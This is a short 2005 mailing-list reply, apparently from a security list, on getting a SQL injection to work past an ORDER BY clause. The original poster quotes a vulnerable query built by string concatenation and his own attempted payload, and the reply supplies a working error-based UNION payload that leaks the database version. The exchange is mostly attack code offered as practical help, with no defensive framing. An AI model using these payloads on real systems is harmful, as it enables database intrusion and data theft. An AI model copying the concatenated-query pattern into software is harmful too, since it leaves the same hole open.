Re: sql injection with order by

["Chitresh Sen" <chitresh_sen () ftml net>]

Try This 

' union select convert(int, @@version), 1, 1, 1 --

On 8 Apr 2005 03:52:02 -0000, "dietf dietf" <dietf () yahoo com> said:
> Hi all,
> I am trying to make an injection with the statement below,
>
> SQL = "SELECT ProID, CusID, Name FROM ProTur WHERE Lan=0 AND
> CusID='%Customer%' ORDER BY Sira, ProjeTurID"
>
> in the statement above I inject ")select @@version-- for the variable
> Customer. But unless I have ended inject code with -- nothing happens.
> I get
> SQL = "SELECT ProID, CusID, Name FROM ProTur WHERE Lan=0 AND
> FirmaID=")select @@version-- ORDER BY Sira, ProjeTurID"
> what is the problem? can anybody tell me?
> Is the problem occurs from the word ORDER BY?
> Thanks
-- 
  Chitresh Sen
  chitresh_sen () ftml net